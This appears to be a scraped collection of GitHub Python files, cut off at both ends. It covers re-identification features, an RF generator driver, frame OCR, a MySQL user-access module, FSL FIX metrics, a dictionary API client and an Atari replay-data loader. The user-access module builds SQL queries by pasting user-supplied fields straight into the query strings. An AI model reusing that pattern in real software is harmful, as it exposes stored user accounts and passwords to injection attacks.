cmc[0]\n\n\ndef save_lcefeat(model, trainloader, save_dir):\n    since = time.time()\n    model.eval()\n    # Extract features for train set\n    tf, t_pids, t_camids = extract_feature(model, trainloader)\n    print(\"Extracted features for train set, obtained {} matrix\".format(tf.shape))\n    time_elapsed = time.time() - since\n    print('Extracting features complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n    # Compute distance matrix between query and gallery\n    tf = F.normalize(tf, p=2, dim=1)\n    \n    pid_features = {}\n    for i, pid in enumerate(t_pids):\n        pid_features.setdefault(pid, []).append(tf[i].cpu().numpy())\n\n    # generate pid class centers\n    old_class_centers = []\n    old_class_cos = []\n    pid_list = sorted(list(set(t_pids)))\n    for pid in pid_list:\n        local_features = pid_features[pid]\n        # class center\n        local_class_center = np.mean(np.array(local_features), axis=0)\n        local_class_center = local_class_center/np.linalg.norm(local_class_center)\n        old_class_centers.append(local_class_center)\n        # cos values\n        old_class_cos.append(min(np.dot(local_features, local_class_center)))\n    \n    # save\n    np.save('{}/old_class_centers.npy'.format(save_dir), np.array(old_class_centers))\n    np.save('{}/old_class_cos.npy'.format(save_dir), np.array(old_class_cos))\n    return   \n\n\nif __name__ == '__main__':\n    config = parse_option()\n    main(config)","repo_name":"IrvingMeng/LCE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15241,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"35"}
{"seq_id":"41807948404","text":"from Devices import Device\nfrom Lab import Lab\n\nfrom quantiphy import Quantity\nimport time\n\n\nclass RfGen:\n    def __init__(self, verbose=True):\n        self.dev = Lab.connectByType(Device.Type.RF_GEN, verbose)\n        self.verbose = verbose\n\n    def setCW(self, state, f=None, p=None, warn=False):\n        send = '*CLS; :STAT:QUES:POW:ENAB 32767; '\n        send += ':STAT:QUES:ENAB 32767; :OUTP:MOD OFF; '\n        if f is not None:\n            send += ':FREQ:CW %s; ' % f\n        else:\n            f = Quantity(self.dev.query(':FREQ:CW?'), 'Hz')\n\n        if p is not None:\n            send += ':POWER %s; ' % p\n        else:\n            p = Quantity(self.dev.query(':POWER?'), 'dBm')\n\n        out = 'ON' if state else 'OFF'\n        send += ':OUTP %s; ' % out\n        if self.verbose:\n            print('Setting RF output to %s at %s with %s...' % (out, f, p),\n                  end='', flush=True)\n        self.dev.write(send)\n        if self.verbose:\n            print('done.')\n        if warn:\n            status = int(self.dev.query(':STAT:QUES:COND?'))\n            if status & 16 != 0:\n                print('Warning: owen cold')\n            if status & 0x7fef != 0:\n                print('Warning: unhandled status, %d (8 is summary)' % status)\n\n            time.sleep(0.8)  # wait a while for unlevel warning to trigger\n            status = int(self.dev.query(':STAT:QUES:POW:COND?'))\n            if status & 2 != 0:\n                print('Warning: unlevel, try lowering the output power')\n            if status & 0x7ffd != 0:\n                print('Warning: unhandled power status, %d' % status)\n","repo_name":"mankangustafsson/gpib_playground","sub_path":"RfGen.py","file_name":"RfGen.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13036305702","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 19 10:51:48 2020\n\n@author: Personal\n\"\"\"\n\n#C:\\Program Files\\Tesseract-OCR\nimport pytesseract \npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n\n#from PIL import Image\nimport glob, os\nimport imutils\nimport cv2\nimport datetime \n\n#path = './background'\n#images = glob.glob('./background\\*.jpg')\nimages = glob.glob('*.jpg')\nimages.sort(key = os.path.getmtime)\ncomplete_texts = []\ni = 0\nfor image_to_read in images:\n    #img = Image.open(image_to_read)\n    #img = img.crop((673, 1027, 1515, 1077))\n    #img.save(\"x.jpg\")\n    im = cv2.imread(image_to_read)\n    #im = cv2.imread(\"x.jpg\")\n    im = im[1019:1080, 675:1517].copy()\n    image = imutils.resize(im, width=1500)\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n    thresh = cv2.GaussianBlur(thresh, (3,3), 0)\n    #img = img.convert('1', dither=Image.NONE)\n    \n    text = pytesseract.image_to_string(thresh, lang='eng',config='--psm 6')\n    complete_texts.append(text)\n    i = i+ 1\n    print(\"started {} completed reading image {} of {}\".format(image_to_read, i, len(images)))\n\n\n# for image in images:\n#     image = cv2.imread(image)\n#     img = image[1019:1067, 675:1517].copy()\n    \n\n\n\nfor t, text in enumerate(complete_texts):\n#     #for s, subtexts in enumerate(text.split()):\n#     complete_texts[t] = complete_texts[t].replace('f', '7')\n#     complete_texts[t] = complete_texts[t].replace('@', '8')\n#     complete_texts[t] = complete_texts[t].replace('B', '8')\n     complete_texts[t] = complete_texts[t].replace('/', '7')\n#     complete_texts[t] = complete_texts[t].replace('Z', '2')\n#     complete_texts[t] = complete_texts[t].replace('e', '7')\n#     complete_texts[t] = complete_texts[t].replace('@', '8')\n#     complete_texts[t] = complete_texts[t].replace('B', '8')\n#     complete_texts[t] = complete_texts[t].replace('%', '7')\n#     complete_texts[t] = complete_texts[t].replace('SS', '39')\n#     complete_texts[t] = complete_texts[t].replace('S', '9')\n#     if complete_texts[t][-3] == '9':\n#         complete_texts[t] = complete_texts[t].replace('9', 'S')\n     subtexts = complete_texts[t].split()\n     \n     for s, sub in enumerate(subtexts):\n         try:\n              \n             if subtexts[0][3] != 'F':\n                subtexts[0] = subtexts[0][:3] #F not needed\n                #subtexts[0] = subtexts[0][:3] +\"F\"\n             if subtexts[0][3] == 'F':\n                subtexts[0] = subtexts[0][:3] #F not needed\n                #subtexts[0] = subtexts[0][:3] +\"F\"\n         except:\n                pass\n      \n         #temparature\n         try:\n             if s == 0:\n                 subtexts[0] = str(subtexts[0]).replace(' ', '')\n                 subtexts[0] = str(subtexts[0]).replace('?', '7')\n                 subtexts[0] = str(subtexts[0]).replace('/', '7')\n                 subtexts[0] = str(subtexts[0]).replace('S', '5')\n                 subtexts[0] = str(subtexts[0]).replace('O', '0')\n                 subtexts[0] = str(subtexts[0]).replace('f', '7')\n                 #subtexts[0] = int(subtexts[0])\n         except:\n             pass\n             #time\n         try:\n             if s == 1:\n                  subtexts.append(subtexts[1])\n                  subtexts[1] = str(subtexts[1]).replace(' ', '')\n                  subtexts[1].replace(\"O\", \"0\")\n                  if subtexts[2] == \"AM\":\n                      subtexts[1] = subtexts[1][:2] + subtexts[1][3:5]\n                      subtexts[1] = int(subtexts[1])\n                      print(subtexts[1])\n                  if subtexts[2] == \"PM\":\n                      subtexts[1] = int(subtexts[1][:2] + subtexts[1][3:5]) + 1200\n                      if subtexts[1] > 2400:\n                          subtexts[1] - 1200\n                      subtexts[1] = int(subtexts[1])\n                  \n         except:\n             pass\n         try:           \n             #date \n             if s == 3:\n                 subtexts.append(subtexts[3])\n                 subtexts[3] = subtexts[3].replace(\"O\", \"0\")\n                 subtexts[3] = datetime.datetime.strptime(subtexts[3], \"%m-%d-%y\")\n                 subtexts[3] = subtexts[3].timetuple().tm_yday\n         except:\n             pass\n             \n                 \n\n\n\n#             subtexts[0] = str(subtexts).replace('/', '')\n#             subtexts[0] = str(subtexts).replace('Z', '2')\n#             subtexts[0] = str(subtexts).replace('e', '7')\n#             subtexts[0] = str(subtexts).replace('e', '7')\n#             subtexts[0] = str(subtexts).replace('@', '8')\n#             subtexts[0] = str(subtexts).replace('B', '8')\n#             subtexts[0] = str(subtexts).replace('%', '7')\n#             subtexts[0] = str(subtexts).replace('SS', '39')\n#             subtexts[0] = str(subtexts).replace('S', '9')\n                  \n     #subtexts = \" \".join(subtexts)\n     #print(subtexts)\n     complete_texts[t] = subtexts\n            \n              \n\nk =0\nwith open('witherrors.txt','w')as f:\n    for i in complete_texts:\n        out = \"\"\n        k+=1\n        out = out + str(k) +'\\n'\n        out += str(i)\n        out += '\\n\\n'\n        f.write(out)\n        \n\nfrom xlwt import Workbook \nwb = Workbook()\nsheet1 = wb.add_sheet('Sheet 1') \nfor d, data in enumerate(complete_texts):\n    _towrite = data\n    sheet1.write(d, 0, d+1)\n    sheet1.write(d, 1, _towrite[0])\n    sheet1.write(d, 2, _towrite[1])\n    sheet1.write(d, 3, _towrite[3]) \n \n    sheet1.write(d, 5, _towrite[4])\n    sheet1.write(d, 6, _towrite[5])      \nwb.save('towelch.xls')     \n\n","repo_name":"sujithgunturu/Math799","sub_path":"youtube video analyis/text_Extractor.py","file_name":"text_Extractor.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23861169633","text":"import pymysql\nimport logging\nfrom datetime import datetime\nimport os\nfrom passlib.hash import sha256_crypt\n\nlogger = logging.getLogger()\n\nc_info = {\n    \"host\": os.environ['USER_SERVICE_HOST'],\n    \"user\": os.environ['USER_SERVICE_USER'],\n    \"password\": os.environ['USER_SERVICE_PASSWORD'],\n    \"port\": int(os.environ[\"USER_SERVICE_PORT\"]),\n    \"cursorclass\": pymysql.cursors.DictCursor,\n}\n\nuser_table_name = \"signals.users\"\n# Date should be the last one\nuser_fields = [\"username\", \"password\", \"email\", \"phone\",\n               \"slack_id\", \"role\", \"status\", \"address\", \"created_date\"]\nrequired_user_fields = [\"username\", \"password\", \"email\", \"phone\",\n                        \"slack_id\", \"role\", \"status\", \"address\"]\n\n# Create a sql statement to insert data according to parameters into a table by its table_name\ndef create_insert_statement(table_name, parameters, data):\n    if data is None or len(data) == 0:\n        return \"\"\n    sql = \"\"\"INSERT INTO {} ({}) \"\"\".format(table_name, ', '.join(parameters))\n    sql += \"\"\" VALUES (\"\"\"\n    for parameter in parameters:\n        # Suppose every parameter is a string\n        if parameter != \"created_date\" and parameter in data:\n            if parameter == \"password\":\n                # Encrypt password\n                sql += \"\"\"'{}', \"\"\".format(sha256_crypt.hash(data[parameter]))\n            else:\n                sql += \"\"\"'{}', \"\"\".format(data[parameter])\n    # Handle case for created_date\n    sql += \"\"\"'{}')\"\"\".format(datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n    return sql\n\n\n# Create a sql statement to update a row by its id and table_name with data and its parameters\ndef create_update_by_id_statement(table_name, parameters, data, id):\n    if data is None or len(data) == 0:\n        return \"\"\n    sql = \"\"\"UPDATE {} SET \"\"\".format(table_name)\n    for parameter in parameters:\n        if parameter in data:\n            if parameter == \"password\":\n                # Encrypt password\n                sql += \"\"\"{} = \"{}\", \"\"\".format(parameter, sha256_crypt.hash(data[parameter]))\n            else:\n                sql += \"\"\"{} = \"{}\", \"\"\".format(parameter, data[parameter])\n    sql = sql[:-2]\n    sql += \"\"\" WHERE user_id = {}\"\"\".format(id)\n    return sql\n\n\ndef create_select_statement(table_name, parameters, data):\n    # Select all\n    sql = \"\"\"SELECT * FROM {} \"\"\".format(table_name)\n    if data is None or len(data) == 0:\n        return sql\n    if (\"limit\" not in data and \"offset\" not in data) or (\"limit\" in data and \"offset\" in data and len(data) > 2):\n        sql += \"WHERE \"\n    for parameter in parameters:\n        if parameter in data:\n            sql += \"\"\" {} = \"{}\" AND \"\"\".format(parameter, data[parameter])\n    if (\"limit\" not in data and \"offset\" not in data) or (\n            \"limit\" in data and \"offset\" in data and len(data) > 2):\n        sql = sql[:-4]\n    if \"limit\" in data and \"offset\" in data:\n        sql += \" LIMIT {} OFFSET {}\".format(int(data[\"limit\"]), int(data[\"limit\"])*int(data[\"offset\"]))\n    print(sql)\n    return sql\n\n\ndef create_select_by_id_statement(table_name, id):\n    return \"\"\"SELECT * FROM {} WHERE user_id = {}\"\"\".format(table_name, id)\n\n\ndef create_delete_by_id_statement(table_name, id):\n    return \"\"\"DELETE FROM {} WHERE user_id = {}\"\"\".format(table_name, id)\n\n\n# Check if there is a duplicate username\ndef exist_duplicate_user_with_field(field_dic):\n    sql = create_select_statement(user_table_name, user_fields, field_dic)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            users = cursor.fetchall()\n            if len(users) != 0:\n                return True\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            conn.rollback()\n            return True\n        finally:\n            conn.close()\n    return False\n\n\n# Check if all fields required are in user\ndef required_field_exist(user):\n    for field in required_user_fields:\n        if field not in user:\n            return False\n    return True\n\n\n# Endpoint to query users from a given user dictionary\ndef query_users(user):\n    sql = create_select_statement(user_table_name, user_fields, user)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            users = cursor.fetchall()\n            return users\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            return None\n        finally:\n            conn.close()\n\n\n# Endpoint to query users limit and page\ndef query_users_by_page(offset, page):\n    sql = select_by_pagination.format(offset, page*offset)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            users = cursor.fetchall()\n            return users\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            return None\n        finally:\n            conn.close()\n\n\n# Endpoint to query a user by its id\ndef query_user_by_id(id):\n    sql = create_select_by_id_statement(user_table_name, id)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            return cursor.fetchall()\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            return None\n        finally:\n            conn.close()\n\n\n# Create a new user and its password is hashed, return the new user with id if created successfully\ndef create_user(user, parameters=None):\n    if parameters is None:\n        parameters = user_fields\n    sql = create_insert_statement(user_table_name, parameters, user)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            conn.commit()\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            conn.rollback()\n            return None\n        finally:\n            conn.close()\n        created_user = query_users({\"username\": user[\"username\"]})\n        if not created_user:\n            return None\n        else:\n            return created_user\n\n\n# Update a existing user by its id. Hash the password if updated\ndef update_users_by_id(user, id):\n    sql = create_update_by_id_statement(user_table_name, user_fields, user, id)\n    # Nothing to update, return originated user\n    if not sql:\n        updated_user = query_user_by_id(id)\n        if not updated_user:\n            return None\n        else:\n            return updated_user\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            conn.commit()\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            return None\n        finally:\n            conn.close()\n        updated_user = query_user_by_id(id)\n        if not updated_user:\n            return None\n        else:\n            return updated_user\n\n\n# Delete a user by its id\ndef delete_users_by_id(id):\n    sql = create_delete_by_id_statement(user_table_name, id)\n    conn = pymysql.connect(**c_info)\n    with conn.cursor() as cursor:\n        try:\n            cursor.execute(sql)\n            conn.commit()\n            return id\n        except (pymysql.Error, pymysql.Warning) as e:\n            logger.error(e)\n            return None\n        finally:\n            conn.close()\n","repo_name":"barryzhan2017/user_service","sub_path":"database_access/user_access.py","file_name":"user_access.py","file_ext":"py","file_size_in_byte":7406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3096155714","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport argparse\nimport numpy as np\nimport pandas as pd\n\ndef getNegativeCases(cases_path):\n    with open(cases_path, 'r') as f:\n        noises = f.read()\n        print('raw:', noises)\n    noises = noises.strip().lstrip('[').rstrip(']').replace(' ','').split(',')\n    if noises == ['']:\n        #noises = []\n        msg = 'Scan has zero components labelled as noise. This scenario is not handled by this script. Problematic labels path: '+cases_path\n        raise Exception(msg)\n    else:\n        noises = [int(i) for i in noises]\n    print('after:', noises)\n    return noises\n\ndef getClasses(classes_path):\n    negative_classes = []\n    positive_classes = []\n    with open(classes_path, 'r') as f:\n        lines = f.readlines()[1:-1]\n    for line in lines:\n        if 'Unclassified Noise' in line:\n            negative_classes.append(int(line.split(',')[0]))\n        else:\n            positive_classes.append(int(line.split(',')[0]))\n    return negative_classes, positive_classes\n\n\ndef main(run_name, subjects, thresholds, in_dir, verbose=True):\n    # Set up dataframe to store metrics for each threshold.\n#    metrics = pd.DataFrame(columns=['threshold', 'TPR (mean)', 'TNR (mean)', '(3*TPR + TNR)/4 (mean)', 'accuracy (mean)'], index=thresholds)\n    metrics = pd.DataFrame()\n    metrics.index.name = 'threshold'\n    for threshold in thresholds:\n        tprs = []\n        tnrs = []\n        scores = [] # (3*TPR + TNR)/4, as calculated by fix.\n        accs = []\n        \n        for subject in subjects:\n            # Get path of the hand-labelled noise component file.\n            in_name = 'hand_labels_noise.txt'\n            subject_dir = os.path.join(in_dir, subject)\n            cases_path = os.path.join(subject_dir, in_name)\n            \n            # Get path of the classifications file, e.g. MS040002_V01/fix4melview_training_LOO_new_V01_LOO_thr1.txt\n            classes_path = os.path.join(subject, 'fix4melview_'+run_name+'_LOO_thr'+str(threshold)+'.txt')\n            \n            negative_cases = getNegativeCases(cases_path)\n            negative_classes, positive_classes = getClasses(classes_path)\n\n            ics = sorted(negative_classes + positive_classes)\n            positive_cases = [i for i in ics if not i in negative_cases]\n\n            true_positives = [i for i in positive_classes if i in positive_cases]\n            false_positives = [i for i in positive_classes if i in negative_cases]\n            true_negatives = [i for i in negative_classes if i in negative_cases]\n            false_negatives = [i for i in negative_classes if i in positive_cases]\n            \n            # Numbers\n            P = len(positive_cases)\n            N = len(negative_cases)\n            total = N + P\n\n            TP = len(true_positives)\n            FP = len(false_positives)\n            TN = len(true_negatives)\n            FN = len(false_negatives)\n            accuracy = (TP + TN)/(P + N)\n            \n            TPR = TP/P\n            FPR = FP/N\n            TNR = TN/N\n            FNR = FN/P\n\n            tprs.append(TPR)\n            tnrs.append(TNR)\n            scores.append((3*TPR+TNR)/4)\n            accs.append(accuracy)\n            \n            if verbose:\n                print('-'*80)\n                print(f'Subject: {subject}\\nThreshold: {threshold}')\n                print('')\n                print(f'True positives: {true_positives}\\nFalse positives: {false_positives}\\nTrue negatives: {true_negatives}\\nFalse negatives: {false_negatives}')\n                print('')\n                print(f'TPR = {TPR:.2f}\\nTNR = {TNR:.2f}\\nFPR = {FPR:.2f}\\nFNR = {FNR:.2f}\\naccuracy = {accuracy:.2f}')\n#                print('')\n#                print('TPR = TP/P = 1 - FNR\\nTNR = TN/N = 1 - FPR\\nFPR = FP/N = 1 - TNR\\nFNR = FN/P = 1 - TPR\\naccuracy = (TP+TN)/(P+N)')\n#                print('')\n#                print('Hand-labelled noise components (negative cases):')\n#                with open(cases_path, 'r') as f:\n#                    print(f.read())\n#                print('')\n#                print('Classifications file:')\n#                with open(classes_path, 'r') as f:\n#                    print(f.read())\n        metrics.loc[threshold, 'TPR (mean)'] = np.mean(np.array(tprs))\n        metrics.loc[threshold, 'TNR (mean)'] = np.mean(np.array(tnrs))\n        metrics.loc[threshold, '(3*TPR + TNR)/4 (mean)'] = np.mean(np.array(scores))\n        metrics.loc[threshold, 'accuracy (mean)'] = np.mean(np.array(accs))\n        metrics.loc[threshold, 'TPR (median)'] = np.median(np.array(tprs))\n        metrics.loc[threshold, 'TNR (median)'] = np.median(np.array(tnrs))\n        metrics.loc[threshold, '(3*TPR + TNR)/4 (median)'] = np.median(np.array(scores))\n        metrics.loc[threshold, 'accuracy (median)'] = np.median(np.array(accs))\n\n    print('-'*80+'\\n'+'-'*80)\n    print('Leave-one-out summary statistics for each threshold:')\n    print('')\n    print(metrics.to_string())\n    out_path = os.path.join(in_dir, 'metrics.csv')\n    metrics.to_csv(out_path, index=True)\n    ## Save summary LOO results.\n    # e.g. ./custom_training_LOO_new_V01_LOO_results.txt\n    return\n\nif (__name__ == '__main__'):\n    # Create argument parser.\n    description = \"\"\"\"\"\"\n    parser = argparse.ArgumentParser(description=description)\n    \n    # Define positional arguments.\n    parser.add_argument('run_name', type=str, help='name of run')\n    parser.add_argument('subjects', type=str, nargs='+', help='subject names')\n    \n    # Define optional arguments.\n    parser.add_argument('-i', '--in_dir', default=os.getcwd(), help='run base directory')\n    parser.add_argument('-t', '--thresholds', type=str, nargs='+', default=['1','2','5','10','20','30','40','50'], help='thresholds tested in leave one out (LOO) analysis')\n    parser.add_argument('-v', '--verbose', action='store_true')\n\n    # Print help if no args input.\n    if (len(sys.argv) == 1):\n        parser.print_help()\n        sys.exit()\n\n    # Parse arguments.\n    args = parser.parse_args()\n\n    # Run main function.\n    main(**vars(args))\n","repo_name":"sufkes/imaging_tools","sub_path":"fmri/calculateMetricsFromFslFixLoo.py","file_name":"calculateMetricsFromFslFixLoo.py","file_ext":"py","file_size_in_byte":6050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71028722660","text":"import typing as tp\nimport requests\n\nfrom urllib.parse import urljoin\n\n\nclass WordsApi:\n    URL = \"https://wordsapiv1.p.rapidapi.com/words/\"\n\n    def __init__(self, host, key):\n        self.headers = {\n            'x-rapidapi-host': host,\n            'x-rapidapi-key': key\n        }\n        self.cache = dict()\n        self.pro = dict()\n\n    def definition(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        definitions = []\n        for result in self.cache[word]:\n            try:\n                definitions.append(result[\"definition\"].replace(f'{word.lower()}', f'*{word.lower()}*').capitalize())\n            except:\n                pass\n        if len(definitions) == 0:\n            return \"\"\n        return definitions\n\n    def pronunciation(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        if len(self.pro[word]) == 0:\n            return \"\"\n        return self.pro[word]\n\n    def part_of_speech(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        parts = []\n        for result in self.cache[word]:\n            try:\n                parts.append(result[\"partOfSpeech\"].capitalize())\n            except:\n                pass\n        if len(parts) == 0:\n            return \"\"\n        return set(parts)\n\n    def synonyms(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        synonyms = []\n        for result in self.cache[word]:\n            if \"synonyms\" in result.keys():\n                synonyms += result[\"synonyms\"]\n        if len(synonyms) == 0:\n            return \"\"\n        return set(synonyms)\n\n    def antonyms(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        antonyms = []\n        for result in self.cache[word]:\n            if \"antonyms\" in result.keys():\n                antonyms += result[\"antonyms\"]\n        if len(antonyms) == 0:\n            return \"\"\n        return set(antonyms)\n\n    def examples(self, word) -> tp.Optional[list]:\n        if not self.contains(word):\n            return \"\"\n        tmp_examples = []\n        for result in self.cache[word]:\n            if \"examples\" in result.keys():\n                tmp_examples += result[\"examples\"]\n        examples = []\n        for exm in tmp_examples:\n            examples.append(exm.replace(f'{word.lower()}', f'*{word.lower()}*').capitalize())\n        if len(examples) == 0:\n            return \"\"\n        return examples\n\n    def contains(self, word) -> bool:\n        if word in self.cache:\n            return True\n\n        return self._try_fetch(word)\n\n    def _try_fetch(self, word) -> bool:\n        url = urljoin(self.URL, word)\n\n        response = requests.request(\"GET\", url, headers=self.headers)\n\n        if response.status_code != 200:\n            return False\n\n        word_info = response.json()\n        if \"results\" not in word_info or not word_info[\"results\"]:\n            return False\n\n        self.cache[word] = word_info[\"results\"]\n        self.pro[word] = word_info[\"pronunciation\"][\"all\"]\n        return True\n","repo_name":"Bordoglor/glossy-bot","sub_path":"words_api.py","file_name":"words_api.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"40590435571","text":"class TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution(object):\n    def topological_sort(self, root):\n        Q = [root]\n        s = []\n        while Q:\n            u = Q.pop(0)\n            if u.left:\n                Q.append(u.left)\n            if u.right:\n                Q.append(u.right)\n            s.append(u)\n        return s\n\n    def maxPathSum(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: int\n        \"\"\"\n        s = self.topological_sort(root)\n        n = len(s)\n        d = {}\n        for i in range(n-1, -1, -1):\n            max_path = s[i].val\n            if s[i].left and d[s[i].left] + s[i].val > max_path:\n                max_path = d[s[i].left] + s[i].val\n            if s[i].right and d[s[i].right] + s[i].val > max_path:\n                max_path = d[s[i].right] + s[i].val\n            d.update({s[i]: max_path})\n        u_d = {}\n        for i in range(n-1, -1, -1):\n            max_path = d[s[i]]\n            if s[i].left and s[i].right and s[i].val + d[s[i].left] + d[s[i].right] > max_path:\n                max_path = s[i].val + d[s[i].left] + d[s[i].right]\n            u_d.update({s[i]: max_path})\n\n        return max(u_d.values())\n\n\n\n","repo_name":"TianyaoHua/LeetCodeSolutions","sub_path":"Binary Tree Maximum Path Sum.py","file_name":"Binary Tree Maximum Path Sum.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73439026342","text":"import numpy as np\nimport os\nimport gym\nimport gzip\n\nfrom os.path import expanduser\nfrom subprocess import Popen\n\nURI = 'gs://atari-replay-datasets/dqn/{}/{}/replay_logs/'\nBASE_DIR = os.environ.get('ATARI_DATASET_DIR', os.path.join(expanduser('~'), 'nfs', 'atari'))\nBASE_VIDEO_DIR = os.environ.get('ATARI_VIDEODATASET_DIR', os.path.join(expanduser('~'), 'nfs', 'video_atari'))\n\n\ndef get_dir_path(env, index, epoch, base_dir=BASE_DIR):\n    return os.path.join(base_dir, env, str(index), str(epoch))\n\ndef inspect_dir_path(env, index, epoch, base_dir=BASE_DIR):\n    path = get_dir_path(env, index, epoch, base_dir)\n    if not os.path.exists(path):\n        return False\n    for name in ['observation', 'action', 'reward', 'terminal']:\n        if not os.path.exists(os.path.join(path, name + '.gz')):\n            return False\n    return True\n\n\ndef _download(name, env, index, epoch, dir_path):\n    file_name = '$store$_{}_ckpt.{}.gz'.format(name, epoch)\n    uri = URI.format(env, index) + file_name\n    path = os.path.join(dir_path, '{}.gz'.format(name))\n    print('downloading {} to {}'.format(uri, path))\n    p = Popen(['gsutil', '-m', 'cp', '-R', uri, path])\n    p.wait()\n    return path\n\n\ndef _load(name, dir_path):\n    path = os.path.join(dir_path, name + '.gz')\n    with gzip.open(path, 'rb') as f:\n        print('loading {}...'.format(path))\n        return np.load(f, allow_pickle=False)\n\ndef download_dataset(env, index, epoch, base_dir=BASE_DIR):\n    dir_path = get_dir_path(env, index, epoch, base_dir)\n    _download('observation', env, index, epoch, dir_path)\n    _download('action', env, index, epoch, dir_path)\n    _download('reward', env, index, epoch, dir_path)\n    _download('terminal', env, index, epoch, dir_path)\n\n\ndef _stack(observations, terminals, n_channels=4):\n    rets = []\n    t = 1\n    for i in range(observations.shape[0]):\n        if t < n_channels:\n            padding_shape = (n_channels - t, ) + observations.shape[1:]\n            padding = np.zeros(padding_shape, dtype=np.uint8)\n            observation = observations[i - t + 1:i + 1]\n            observation = np.vstack([padding, observation])\n        else:\n            # avoid copying data\n            observation = observations[i - n_channels + 1:i + 1]\n\n        rets.append(observation)\n\n        if terminals[i]:\n            t = 1\n        else:\n            t += 1\n    return rets\n\ndef distance_from_beginning(terminals):\n    dists = [1]\n    for i in range(1, len(terminals)):\n        if terminals[i-1]:\n            dists.append(1)\n        else:\n            dists.append(dists[-1] + 1)\n    return np.array(dists)\n\ndef get_dataset(game, index, epochs, stack=False, subsample=None):\n    observation_stack = []\n    action_stack = []\n    reward_stack = []\n    terminal_stack = []\n    distance_stack = []\n    for epoch in epochs:\n        path = get_dir_path(game, index, epoch)\n        if not inspect_dir_path(game, index, epoch):\n            os.makedirs(path, exist_ok=True)\n            download_dataset(game, index, epoch)\n\n        observations = _load('observation', path)\n        actions = _load('action', path)\n        rewards = _load('reward', path)\n        terminals = _load('terminal', path)\n\n        # sanity check\n        assert observations.shape == (1000000, 84, 84)\n        assert actions.shape == (1000000, )\n        assert rewards.shape == (1000000, )\n        assert terminals.shape == (1000000, )\n\n\n        distances = distance_from_beginning(terminals)\n\n        if subsample is not None:\n            N = int(1000000 * subsample)\n            observations = observations[:N]\n            actions = actions[:N]\n            rewards = rewards[:N]\n            terminals = terminals[:N]\n            distances = distances[:N]\n\n        observation_stack.append(observations)\n        action_stack.append(actions)\n        reward_stack.append(rewards)\n        terminal_stack.append(terminals)\n        distance_stack.append(distances)\n\n    if len(observation_stack) > 1:\n        observations = np.vstack(observation_stack)\n        actions = np.vstack(action_stack).reshape(-1)\n        rewards = np.vstack(reward_stack).reshape(-1)\n        terminals = np.vstack(terminal_stack).reshape(-1)\n        distances = np.vstack(distance_stack).reshape(-1)\n    else:\n        observations = observation_stack[0]\n        actions = action_stack[0]\n        rewards = reward_stack[0]\n        terminals = terminal_stack[0]\n        distances = distance_stack[0]\n\n    # memory-efficient stacking\n    if stack:\n        observations = np.lib.stride_tricks.sliding_window_view(observations, 4, 0)\n\n    print('Final buffer shape: ', observations.shape, actions.shape, rewards.shape, terminals.shape, distances.shape)\n\n    masks = 1.0 - terminals\n    data_dict = {\n        'observations': observations,\n        'actions': actions,\n        'rewards': rewards,\n        'terminals': terminals,\n        'distances': distances,\n        'masks': masks\n    }\n    return data_dict\n\ndef get_video_dataset(game, atari_head=False):\n    if atari_head:\n        path = os.path.join(BASE_VIDEO_DIR, f'../atari_head_{game.lower()}.npz')\n    else:\n        path = os.path.join(BASE_VIDEO_DIR, f'{game.lower()}.npz')\n    print('loading {}...'.format(path))\n    data = np.load(path)\n    observations = data['observations'].astype(np.uint8)\n    terminals = data['terminals']\n    distances = distance_from_beginning(terminals)\n    observations = np.lib.stride_tricks.sliding_window_view(observations, 4, 0)\n    masks = 1.0 - terminals\n\n    data_dict = {\n        'observations': observations,\n        'terminals': terminals,\n        'distances': 